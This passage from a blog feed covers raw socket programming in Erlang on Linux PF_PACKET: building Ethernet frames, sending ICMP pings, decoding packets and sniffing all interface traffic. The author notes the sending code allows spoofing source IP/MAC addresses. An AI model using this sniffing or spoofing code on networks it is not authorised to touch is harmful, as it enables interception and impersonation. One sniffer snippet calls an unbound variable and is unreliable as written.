class="Comment"&gt;*/&lt;/span&gt;&lt;br /&gt;    &lt;span class="Type"&gt;unsigned&lt;/span&gt; &lt;span class="Type"&gt;char&lt;/span&gt;  sll_pkttype;  &lt;span class="Comment"&gt;/*&lt;/span&gt;&lt;span class="Comment"&gt; Packet type &lt;/span&gt;&lt;span class="Comment"&gt;*/&lt;/span&gt;&lt;br /&gt;    &lt;span class="Type"&gt;unsigned&lt;/span&gt; &lt;span class="Type"&gt;char&lt;/span&gt;  sll_halen;    &lt;span class="Comment"&gt;/*&lt;/span&gt;&lt;span class="Comment"&gt; Length of address &lt;/span&gt;&lt;span class="Comment"&gt;*/&lt;/span&gt;&lt;br /&gt;    &lt;span class="Type"&gt;unsigned&lt;/span&gt; &lt;span class="Type"&gt;char&lt;/span&gt;  sll_addr[&lt;span class="Constant"&gt;8&lt;/span&gt;];  &lt;span class="Comment"&gt;/*&lt;/span&gt;&lt;span class="Comment"&gt; Physical layer address &lt;/span&gt;&lt;span class="Comment"&gt;*/&lt;/span&gt;&lt;br /&gt;};&lt;br /&gt;&lt;/pre&gt;&lt;ul&gt;&lt;li&gt;&lt;em&gt;sll_family&lt;/em&gt; is, as the comment says, always PF_PACKET in host endian format.&lt;br /&gt;&lt;li&gt;&lt;em&gt;sll_protocol&lt;/em&gt; is usually either ETH_P_ALL or ETH_P_IP. It is passed in big endian format but is defined in the header file in host endian format. For many linux installs, this will be little endian, so it will need to be byte swapped.&lt;br /&gt;&lt;li&gt;&lt;em&gt;sll_halen&lt;/em&gt; is the length of the physical layer address. Although there are up to 8 bytes allowed for for the physical layer address, only 6 bytes are used for ethernet.&lt;br /&gt;&lt;/ul&gt;&lt;pre class="Code"&gt;&lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;br /&gt;?&lt;span class="Identifier"&gt;PF_PACKET:16&lt;/span&gt;&lt;span class="Statement"&gt;/&lt;/span&gt;native,   &lt;span class="Comment"&gt;% sll_family: PF_PACKET&lt;/span&gt;&lt;br /&gt;&lt;span class="Constant"&gt;16&lt;/span&gt;#&lt;span class="Constant"&gt;0&lt;/span&gt;&lt;span class="Special"&gt;:&lt;/span&gt;&lt;span class="Constant"&gt;16&lt;/span&gt;,             &lt;span class="Comment"&gt;% sll_protocol: Physical layer protocol, big endian&lt;/span&gt;&lt;br /&gt;&lt;span class="Identifier"&gt;Interface:32&lt;/span&gt;&lt;span class="Statement"&gt;/&lt;/span&gt;native,    &lt;span class="Comment"&gt;% sll_ifindex: Interface number&lt;/span&gt;&lt;br /&gt;&lt;span class="Identifier"&gt;0:16&lt;/span&gt;,                   &lt;span class="Comment"&gt;% sll_hatype: Header type&lt;/span&gt;&lt;br /&gt;&lt;span class="Identifier"&gt;0:8&lt;/span&gt;,                    &lt;span class="Comment"&gt;% sll_pkttype: Packet type&lt;/span&gt;&lt;br /&gt;&lt;span class="Identifier"&gt;0:8&lt;/span&gt;,                    &lt;span class="Comment"&gt;% sll_halen: address length&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Identifier"&gt;0:8&lt;/span&gt;,                    &lt;span class="Comment"&gt;% sll_addr[8]: physical layer address&lt;/span&gt;&lt;br /&gt;&lt;span class="Identifier"&gt;0:8&lt;/span&gt;,                    &lt;span class="Comment"&gt;% sll_addr[8]: physical layer address&lt;/span&gt;&lt;br /&gt;&lt;span class="Identifier"&gt;0:8&lt;/span&gt;,                    &lt;span class="Comment"&gt;% sll_addr[8]: physical layer address&lt;/span&gt;&lt;br /&gt;&lt;span class="Identifier"&gt;0:8&lt;/span&gt;,                    &lt;span class="Comment"&gt;% sll_addr[8]: physical layer address&lt;/span&gt;&lt;br /&gt;&lt;span class="Identifier"&gt;0:8&lt;/span&gt;,                    &lt;span class="Comment"&gt;% sll_addr[8]: physical layer address&lt;/span&gt;&lt;br /&gt;&lt;span class="Identifier"&gt;0:8&lt;/span&gt;,                    &lt;span class="Comment"&gt;% sll_addr[8]: physical layer address&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Identifier"&gt;0:8&lt;/span&gt;,                    &lt;span class="Comment"&gt;% sll_addr[8]: physical layer address&lt;/span&gt;&lt;br /&gt;&lt;span class="Identifier"&gt;0:8&lt;/span&gt;                     &lt;span class="Comment"&gt;% sll_addr[8]: physical layer address&lt;/span&gt;&lt;br /&gt;&lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;From trial and error, only sll_ifindex needs to be set. Even the sll_family does not seem be required in this context, although the man page suggests it is required. (sll_halen and sll_addr values would otherwise be set to 6 for sll_halen and the first 6 bytes of sll_addr to the MAC address of the destination ethernet device.) The source and destination appear to be read directly from the ethernet header.  &lt;script src="http://gist.github.com/438488.js?file=pkt.erl"&gt;&lt;/script&gt; The pkt module will construct an ethernet frame and send it on the network. The function interface is a bit cumbersome, forcing you to specify the MAC and IP address of both the source and destination, but allows spoofing packets from different IP/MAC combinations.  &lt;pre class="Code"&gt;&lt;span class="Identifier"&gt;pkt:ping&lt;/span&gt;(&lt;br /&gt;    {&lt;span class="Constant"&gt;&amp;quot;eth0&amp;quot;&lt;/span&gt;, {&lt;span class="Constant"&gt;16&lt;/span&gt;#&lt;span class="Constant"&gt;00&lt;/span&gt;,&lt;span class="Constant"&gt;16&lt;/span&gt;#&lt;span class="Constant"&gt;11&lt;/span&gt;,&lt;span class="Constant"&gt;16&lt;/span&gt;#&lt;span class="Constant"&gt;22&lt;/span&gt;,&lt;span class="Constant"&gt;16&lt;/span&gt;#&lt;span class="Constant"&gt;33&lt;/span&gt;,&lt;span class="Constant"&gt;16&lt;/span&gt;#&lt;span class="Constant"&gt;44&lt;/span&gt;,&lt;span class="Constant"&gt;16&lt;/span&gt;#&lt;span class="Constant"&gt;55&lt;/span&gt;}, {&lt;span class="Constant"&gt;192&lt;/span&gt;,&lt;span class="Constant"&gt;168&lt;/span&gt;,&lt;span class="Constant"&gt;213&lt;/span&gt;,&lt;span class="Constant"&gt;213&lt;/span&gt;}},&lt;br /&gt;    {{&lt;span class="Constant"&gt;16&lt;/span&gt;#&lt;span class="Constant"&gt;00&lt;/span&gt;,&lt;span class="Constant"&gt;16&lt;/span&gt;#&lt;span class="Constant"&gt;aa&lt;/span&gt;,&lt;span class="Constant"&gt;16&lt;/span&gt;#&lt;span class="Constant"&gt;bb&lt;/span&gt;,&lt;span class="Constant"&gt;16&lt;/span&gt;#&lt;span class="Constant"&gt;cc&lt;/span&gt;,&lt;span class="Constant"&gt;16&lt;/span&gt;#&lt;span class="Constant"&gt;dd&lt;/span&gt;,&lt;span class="Constant"&gt;16&lt;/span&gt;#&lt;span class="Constant"&gt;ee&lt;/span&gt;}, {&lt;span class="Constant"&gt;192&lt;/span&gt;,&lt;span class="Constant"&gt;168&lt;/span&gt;,&lt;span class="Constant"&gt;213&lt;/span&gt;,&lt;span class="Constant"&gt;1&lt;/span&gt;}}&lt;br /&gt;)&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;The first argument is a 3-tuple representing the network interface, source MAC and IP address.  The second argument is a 2-tuple representing the destination MAC and IP address.  Looking at the output from tcpdump: &lt;pre class="Code"&gt;# tcpdump -n -s 0 -XX -i ath0&lt;br /&gt;tcpdump: verbose output suppressed, use -v or -vv for full protocol decode&lt;br /&gt;listening on ath0, link-type EN10MB (Ethernet), capture size 65535 bytes&lt;br /&gt;18:58:40.077600 IP 192.168.213.213 &amp;gt; 192.168.213.1: ICMP echo request, id 7338, seq 0, length 64&lt;br /&gt;        0x0000:  0011 2233 4455 00aa bbcc ddee 0800 4500  ....&amp;gt;....Y.&amp;amp;..E.&lt;br /&gt;        0x0010:  0054 1caa 4000 4001 f1d6 c0a8 d5d5 c0a8  .T..@.@.........&lt;br /&gt;        0x0020:  d501 0800 ea06 1caa 0000 0000 04fc 0007  ................&lt;br /&gt;        0x0030:  2ba0 0001 2e02 2021 2223 2425 2627 2829  +......!&amp;quot;#$%&amp;amp;'()&lt;br /&gt;        0x0040:  2a2b 2c2d 2e2f 3031 3233 3435 3637 3839  *+,-./0123456789&lt;br /&gt;        0x0050:  3a3b 3c3d 3e3f 4041 4243 4445 4647 4849  :;&amp;lt;=&amp;gt;?@ABCDEFGHI&lt;br /&gt;        0x0060:  4a4b                                     JK&lt;br /&gt;18:58:40.078464 IP 192.168.213.1 &amp;gt; 192.168.213.213: ICMP echo reply, id 7338, seq 0, length 64&lt;br /&gt;        0x0000:  00aa bbcc ddee 0011 2233 4455 0800 4500  ...Y.&amp;amp;....&amp;gt;...E.&lt;br /&gt;        0x0010:  0054 86ee 0000 4001 c792 c0a8 d501 c0a8  .T....@.........&lt;br /&gt;        0x0020:  d5d5 0000 f206 1caa 0000 0000 04fc 0007  ................&lt;br /&gt;        0x0030:  2ba0 0001 2e02 2021 2223 2425 2627 2829  +......!&amp;quot;#$%&amp;amp;'()&lt;br /&gt;        0x0040:  2a2b 2c2d 2e2f 3031 3233 3435 3637 3839  *+,-./0123456789&lt;br /&gt;        0x0050:  3a3b 3c3d 3e3f 4041 4243 4445 4647 4849  :;&amp;lt;=&amp;gt;?@ABCDEFGHI&lt;br /&gt;        0x0060:  4a4b                                     JK&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8577871288924093307-6469396389436442651?l=blog.listincomprehension.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.listincomprehension.com/feeds/6469396389436442651/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.listincomprehension.com/2010/06/fun-with-raw-sockets-in-erlang-sending.html#comment-form' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/6469396389436442651'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/6469396389436442651'/><link rel='alternate' type='text/html' href='http://blog.listincomprehension.com/2010/06/fun-with-raw-sockets-in-erlang-sending.html' title='Fun with Raw Sockets in Erlang: Sending ICMP Packets'/><author><name>Michael Santos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8577871288924093307.post-3153031062742594173</id><published>2010-06-04T13:20:00.000-04:00</published><updated>2010-06-19T19:31:59.616-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='fun with raw sockets'/><category scheme='http://www.blogger.com/atom/ns#' term='erlang'/><category scheme='http://www.blogger.com/atom/ns#' term='procket'/><category scheme='http://www.blogger.com/atom/ns#' term='epcap'/><title type='text'>Fun with Raw Sockets in Erlang: Decoding Packets</title><content type='html'>Reading from the &lt;a href="http://blog.listincomprehension.com/2010/05/raw-socket-programming-in-erlang.html"&gt;network using PF_PACKET&lt;/a&gt; will return the packets as binary data.&lt;br /&gt;&lt;br /&gt;Parsing the packet is easy to do using Erlang's pattern matching. &lt;a href="http://github.com/msantos/epcap/blob/master/src/epcap_net.erl"&gt;epcap&lt;/a&gt; has some functions to convert the binaries into records. We can use the same functions to decapsulate packets returned from &lt;a href="http://github.com/msantos/procket"&gt;procket&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;For example, here is the output from a ping:&lt;br /&gt;&lt;pre class="Code"&gt;&lt;span class="Statement"&gt;=&lt;/span&gt;INFO REPORT&lt;span class="Statement"&gt;====&lt;/span&gt; &lt;span class="Constant"&gt;4&lt;/span&gt;&lt;span class="Statement"&gt;-&lt;/span&gt;Jun&lt;span class="Statement"&gt;-&lt;/span&gt;&lt;span class="Constant"&gt;2010&lt;/span&gt;&lt;span class="Special"&gt;::&lt;/span&gt;&lt;span class="Identifier"&gt;12:50&lt;/span&gt;&lt;span class="Special"&gt;:&lt;/span&gt;&lt;span class="Constant"&gt;55&lt;/span&gt; &lt;span class="Statement"&gt;===&lt;/span&gt;&lt;br /&gt;    source_macaddr&lt;span class="Special"&gt;:&lt;/span&gt; &lt;span class="Constant"&gt;&amp;quot;0:15:AF:xx:xx:xx&amp;quot;&lt;/span&gt;&lt;br /&gt;    source_address&lt;span class="Special"&gt;:&lt;/span&gt; {&lt;span class="Constant"&gt;192&lt;/span&gt;,&lt;span class="Constant"&gt;168&lt;/span&gt;,&lt;span class="Constant"&gt;213&lt;/span&gt;,&lt;span class="Constant"&gt;213&lt;/span&gt;}&lt;br /&gt;    source_port&lt;span class="Special"&gt;:&lt;/span&gt; []&lt;br /&gt;    destination_macaddr&lt;span class="Special"&gt;:&lt;/span&gt; &lt;span class="Constant"&gt;&amp;quot;0:16:B6:xx:xx:xx&amp;quot;&lt;/span&gt;&lt;br /&gt;    destination_address&lt;span class="Special"&gt;:&lt;/span&gt; {&lt;span class="Constant"&gt;67&lt;/span&gt;,&lt;span class="Constant"&gt;195&lt;/span&gt;,&lt;span class="Constant"&gt;160&lt;/span&gt;,&lt;span class="Constant"&gt;76&lt;/span&gt;}&lt;br /&gt;    destination_port&lt;span class="Special"&gt;:&lt;/span&gt; []&lt;br /&gt;    &lt;span class="Identifier"&gt;protocol: icmp&lt;/span&gt;&lt;br /&gt;    protocol_header&lt;span class="Special"&gt;:&lt;/span&gt; [{type,&lt;span class="Constant"&gt;8&lt;/span&gt;},{code,&lt;span class="Constant"&gt;0&lt;/span&gt;}]&lt;br /&gt;    &lt;span class="Identifier"&gt;payload_bytes: 56&lt;/span&gt;&lt;br /&gt;    payload&lt;span class="Special"&gt;:&lt;/span&gt; &lt;span class="Constant"&gt;&amp;quot;...L............................ !\&amp;quot;#$%&amp;amp;'()*+,-./01234567&amp;quot;&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;The code is a modified version of &lt;a href="http://github.com/msantos/epcap/blob/master/src/sniff.erl"&gt;sniff&lt;/a&gt; that is distributed with &lt;a href="http://github.com/msantos/epcap"&gt;epcap&lt;/a&gt;. To compile the code, you'll need a copy of &lt;a href="http://github.com/msantos/epcap/blob/master/include/epcap_net.hrl"&gt;epcap_net.hrl&lt;/a&gt; and to run it, both the procket and epcap beam files will have to be in your path. Using the "-pa" option, something like: &lt;pre&gt;erl -pa /path/to/procket/ebin -pa /patch/to/epcap/ebin&lt;/pre&gt;&lt;script src="http://gist.github.com/425677.js?file=packet.erl"&gt;&lt;/script&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8577871288924093307-3153031062742594173?l=blog.listincomprehension.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.listincomprehension.com/feeds/3153031062742594173/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.listincomprehension.com/2010/06/fun-with-raw-sockets-in-erlang-decoding.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/3153031062742594173'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/3153031062742594173'/><link rel='alternate' type='text/html' href='http://blog.listincomprehension.com/2010/06/fun-with-raw-sockets-in-erlang-decoding.html' title='Fun with Raw Sockets in Erlang: Decoding Packets'/><author><name>Michael Santos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8577871288924093307.post-1706586227025355471</id><published>2010-05-29T13:09:00.000-04:00</published><updated>2010-06-19T19:32:17.055-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='fun with raw sockets'/><category scheme='http://www.blogger.com/atom/ns#' term='erlang'/><category scheme='http://www.blogger.com/atom/ns#' term='procket'/><category scheme='http://www.blogger.com/atom/ns#' term='epcap'/><category scheme='http://www.blogger.com/atom/ns#' term='nif'/><title type='text'>Raw Socket Programming in Erlang: Reading Packets Using PF_PACKET</title><content type='html'>BSD has &lt;a href="http://en.wikipedia.org/wiki/Berkeley_Packet_Filter"&gt;BPF&lt;/a&gt;, Solaris has &lt;a href="http://en.wikipedia.org/wiki/DLPI"&gt;DLPI&lt;/a&gt; and Linux, well, has had many interfaces. The latest uses a linux specific protocol family, PF_PACKET. PF_PACKET can receive whole packets from the network as well as generate them, like a combination of BPF and the BSD raw socket interface.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/Pcap"&gt;PCAP&lt;/a&gt; is an abstraction over these different interfaces. &lt;a href="http://blog.listincomprehension.com/2009/12/epcap-erlang-packet-sniffer.html"&gt;epcap&lt;/a&gt; uses a system process linked to the PCAP library to read ethernet frames and send them as messages into Erlang using the port interface. Using &lt;a href="http://github.com/msantos/procket"&gt;procket&lt;/a&gt; with the PF_PACKET socket option, I've been playing with reading packets directly off the network and generating them as well.&lt;br /&gt;&lt;br /&gt;The PF_PACKET interface is used by passing options to &lt;a href="http://linux.die.net/man/7/socket"&gt;socket()&lt;/a&gt;.&lt;br /&gt;&lt;pre class="Code"&gt;&lt;span class="Type"&gt;int&lt;/span&gt; socket(&lt;span class="Type"&gt;int&lt;/span&gt; domain, &lt;span class="Type"&gt;int&lt;/span&gt; type, &lt;span class="Type"&gt;int&lt;/span&gt; protocol);&lt;br /&gt;&lt;/pre&gt;&lt;ul&gt;&lt;li&gt;The protocol &lt;i&gt;family&lt;/i&gt; is, of course, &lt;b&gt;PF_PACKET&lt;/b&gt;.&lt;br /&gt;&lt;li&gt;The &lt;i&gt;type&lt;/i&gt; may be either &lt;b&gt;SOCK_RAW&lt;/b&gt; or &lt;b&gt;SOCK_DGRAM&lt;/b&gt;. SOCK_RAW will return the whole packet, including the ethernet header. A process sending a packet must prepend a link layer header. A socket with type SOCK_DGRAM will strip off the link layer header and generate a valid header for outgoing packets.&lt;br /&gt;&lt;li&gt;The &lt;i&gt;protocol&lt;/i&gt; is selected from one of the values in &lt;a href="http://lxr.free-electrons.com/source/include/linux/if_ether.h?v=2.6.24"&gt;linux/if_ether.h&lt;/a&gt;.&lt;br /&gt;&lt;pre&gt;#define ETH_P_IP    0x0800&lt;br /&gt;#define ETH_P_ALL   0x0003&lt;br /&gt;&lt;/pre&gt;&lt;b&gt;ETH_P_ALL&lt;/b&gt; will retrieve all network packets and &lt;b&gt;ETH_P_IP&lt;/b&gt; just the IP packets. The values are in &lt;i&gt;host-endian format&lt;/i&gt; and will need to be converted to network byte order before being used as arguments to socket().&lt;br /&gt;&lt;/ul&gt;&lt;h3&gt;Receving Packets using recvfrom()&lt;/h3&gt;To send and receive packets from a socket using PF_PACKET, the normal connection-less socket operations are used: &lt;a href="http://linux.die.net/man/2/sendto"&gt;sendto()&lt;/a&gt; and &lt;a href="http://linux.die.net/man/2/recvfrom"&gt;recvfrom()&lt;/a&gt;. By default, socket operations will block, unless the O_NONBLOCK flag is set using fcntl().  The &lt;a href="http://www.erlang.org/doc/man/gen_udp.html"&gt;gen_udp&lt;/a&gt; module in Erlang internally calls recvfrom(), so it can deal with raw sockets. Another &lt;a href="http://blog.listincomprehension.com/2010/05/icmp-ping-in-erlang.html"&gt;example of using gen_udp&lt;/a&gt; in this way is for sending ICMP packets and reading the ICMP ECHO replies.  Alternatively, I've added a &lt;a href="http://github.com/msantos/procket/blob/master/c_src/procket.c#L147"&gt;recvfrom/2&lt;/a&gt; function to the procket NIF for testing.  &lt;h3&gt;Sniffing Packets in Erlang&lt;/h3&gt;To read packets from the network device, either gen_udp or the NIF recvfrom/2 can be used.  Using gen_udp: &lt;pre class="Code"&gt;&lt;span class="Type"&gt;-module&lt;/span&gt;(packet)&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span class="Type"&gt;-export&lt;/span&gt;([sniff&lt;span class="Statement"&gt;/&lt;/span&gt;&lt;span class="Constant"&gt;0&lt;/span&gt;])&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Type"&gt;-define&lt;/span&gt;(ETH_P_IP, &lt;span class="Constant"&gt;16&lt;/span&gt;#&lt;span class="Constant"&gt;0008&lt;/span&gt;)&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span class="Type"&gt;-define&lt;/span&gt;(ETH_P_ALL, &lt;span class="Constant"&gt;16&lt;/span&gt;#&lt;span class="Constant"&gt;0300&lt;/span&gt;)&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;sniff() &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;    {ok, S} &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;procket:listen&lt;/span&gt;(&lt;span class="Constant"&gt;0&lt;/span&gt;, [&lt;br /&gt;            {protocol, ?ETH_P_ALL},&lt;br /&gt;            {type, raw},&lt;br /&gt;            {family, packet}&lt;br /&gt;        ]),&lt;br /&gt;    &lt;span class="Special"&gt;{&lt;/span&gt;ok, &lt;span class="Identifier"&gt;S1&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt; &lt;span class="Statement"&gt;=&lt;/span&gt; gen_udp:open(&lt;span class="Constant"&gt;0&lt;/span&gt;, &lt;span class="Special"&gt;[&lt;/span&gt;binary, &lt;span class="Special"&gt;{&lt;/span&gt;fd, &lt;span class="Identifier"&gt;S&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt;, &lt;span class="Special"&gt;{&lt;/span&gt;active, &lt;span class="Constant"&gt;false&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt;&lt;span class="Special"&gt;]&lt;/span&gt;),&lt;br /&gt;    loop(S1)&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;loop(S) &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;    Data &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;gen_udp:recv&lt;/span&gt;(S, &lt;span class="Constant"&gt;2048&lt;/span&gt;),&lt;br /&gt;    &lt;span class="Identifier"&gt;error_logger:info_report&lt;/span&gt;([{data, Data}]),&lt;br /&gt;    loop(State)&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;The definitions of ETH_P_IP and ETH_P_ALL are in big endian format. The port is irrelevant and is set to 0 in procket:listen/2.  The type is &lt;i&gt;raw&lt;/i&gt; but can also be set to &lt;i&gt;dgram&lt;/i&gt;.  Using the NIF, the process must poll the socket. procket:recvfrom/2 will return the atom &lt;i&gt;nodata&lt;/i&gt; if the socket returns EAGAIN; the tuple {ok, binary} with the binary data representing the packet or a tuple holding the value of errno, e.g., {error, {errno, strerror(errno)}}.  The return values will probably change in the future. &lt;pre class="Code"&gt;sniff() &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;    {ok, S} &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;procket:listen&lt;/span&gt;(&lt;span class="Constant"&gt;0&lt;/span&gt;, [&lt;br /&gt;            {protocol, ?ETH_P_ALL},&lt;br /&gt;            {type, raw},&lt;br /&gt;            {family, packet}&lt;br /&gt;        ]),&lt;br /&gt;    loop(S)&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;loop(S) &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;    &lt;span class="Statement"&gt;case&lt;/span&gt; &lt;span class="Identifier"&gt;procket:recvfrom&lt;/span&gt;(S, &lt;span class="Constant"&gt;2048&lt;/span&gt;) &lt;span class="Statement"&gt;of&lt;/span&gt;&lt;br /&gt;        nodata &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;            &lt;span class="Special"&gt;timer&lt;/span&gt;&lt;span class="Special"&gt;:&lt;/span&gt;sleep(&lt;span class="Constant"&gt;1000&lt;/span&gt;),&lt;br /&gt;            loop(S);&lt;br /&gt;        {ok, Data} &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;            &lt;span class="Identifier"&gt;error_logger:info_report&lt;/span&gt;([{data, Data}]),&lt;br /&gt;            loop(S);&lt;br /&gt;        Error &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;            &lt;span class="Identifier"&gt;error_logger:error_report&lt;/span&gt;(Error)&lt;br /&gt;   &lt;span class="Statement"&gt;end&lt;/span&gt;.&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8577871288924093307-1706586227025355471?l=blog.listincomprehension.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.listincomprehension.com/feeds/1706586227025355471/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.listincomprehension.com/2010/05/raw-socket-programming-in-erlang.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/1706586227025355471'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/1706586227025355471'/><link rel='alternate' type='text/html' href='http://blog.listincomprehension.com/2010/05/raw-socket-programming-in-erlang.html' title='Raw Socket Programming in Erlang: Reading Packets Using PF_PACKET'/><author><name>Michael Santos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8577871288924093307.post-5356452024165727869</id><published>2010-05-24T16:28:00.004-04:00</published><updated>2011-01-25T13:05:19.709-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='fun with raw sockets'/><category scheme='http://www.blogger.com/atom/ns#' term='erlang'/><category scheme='http://www.blogger.com/atom/ns#' term='procket'/><category scheme='http://www.blogger.com/atom/ns#' term='nif'/><title type='text'>ICMP Ping in Erlang</title><content type='html'>(Also see &lt;a href="http://blog.listincomprehension.com/2010/12/icmp-ping-in-erlang-part-2.html"&gt;ICMP Ping in Erlang, part 2&lt;/a&gt;)&lt;br /&gt;&lt;h2&gt;ICMP ECHO Packet Structure&lt;/h2&gt;&lt;br /&gt;&lt;a href="http://www.faqs.org/rfcs/rfc792.html"&gt;RFC 792&lt;/a&gt; describes an ICMP ECHO packet as:&lt;br /&gt;&lt;ul class="Message"&gt;&lt;li class="Message"&gt;Type:8&lt;/li&gt;&lt;li class="Message"&gt;Code:8&lt;/li&gt;&lt;li class="Message"&gt;Checksum:16&lt;/li&gt;&lt;li class="Message"&gt;Identifier:16&lt;/li&gt;&lt;li class="Message"&gt;Sequence Number:16&lt;/li&gt;&lt;li class="Message"&gt;Data1:8&lt;/li&gt;&lt;li class="Message"&gt;...&lt;/li&gt;&lt;li class="Message"&gt;DataN:8&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;The number after the colon represents the number of bits in the field.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;The &lt;i&gt;type&lt;/i&gt; field for ICMP ECHO is set to 8. The response (ICMP ECHO REPLY) has a value of 0.&lt;br /&gt;&lt;li&gt;The &lt;i&gt;code&lt;/i&gt; is 0.  &lt;br /&gt;&lt;li&gt;The &lt;i&gt;checksum&lt;/i&gt; is a one's complement checksum that covers both the ICMP header and the data portion of the packet. An Erlang version looks like:&lt;br /&gt;&lt;pre class="Code"&gt;makesum(Hdr) &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="Constant"&gt;16&lt;/span&gt;#&lt;span class="Constant"&gt;FFFF&lt;/span&gt; &lt;span class="Statement"&gt;-&lt;/span&gt; checksum(Hdr)&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;checksum(Hdr) &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;    &lt;span class="Identifier"&gt;lists:foldl&lt;/span&gt;(&lt;span class="Statement"&gt;fun&lt;/span&gt; compl&lt;span class="Statement"&gt;/&lt;/span&gt;&lt;span class="Constant"&gt;2&lt;/span&gt;, &lt;span class="Constant"&gt;0&lt;/span&gt;, [ W || &lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="Identifier"&gt;W:16&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="Statement"&gt;&amp;lt;=&lt;/span&gt; Hdr ])&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;compl(N) &lt;span class="Statement"&gt;when&lt;/span&gt; N &lt;span class="Statement"&gt;=&amp;lt;&lt;/span&gt; &lt;span class="Constant"&gt;16&lt;/span&gt;#&lt;span class="Constant"&gt;FFFF&lt;/span&gt; &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt; N;&lt;br /&gt;compl(N) &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt; (N &lt;span class="Statement"&gt;band&lt;/span&gt; &lt;span class="Constant"&gt;16&lt;/span&gt;#&lt;span class="Constant"&gt;FFFF&lt;/span&gt;) &lt;span class="Statement"&gt;+&lt;/span&gt; (N &lt;span class="Statement"&gt;bsr&lt;/span&gt; &lt;span class="Constant"&gt;16&lt;/span&gt;)&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;compl(&lt;span class="Identifier"&gt;N&lt;/span&gt;,&lt;span class="Identifier"&gt;S&lt;/span&gt;) &lt;span 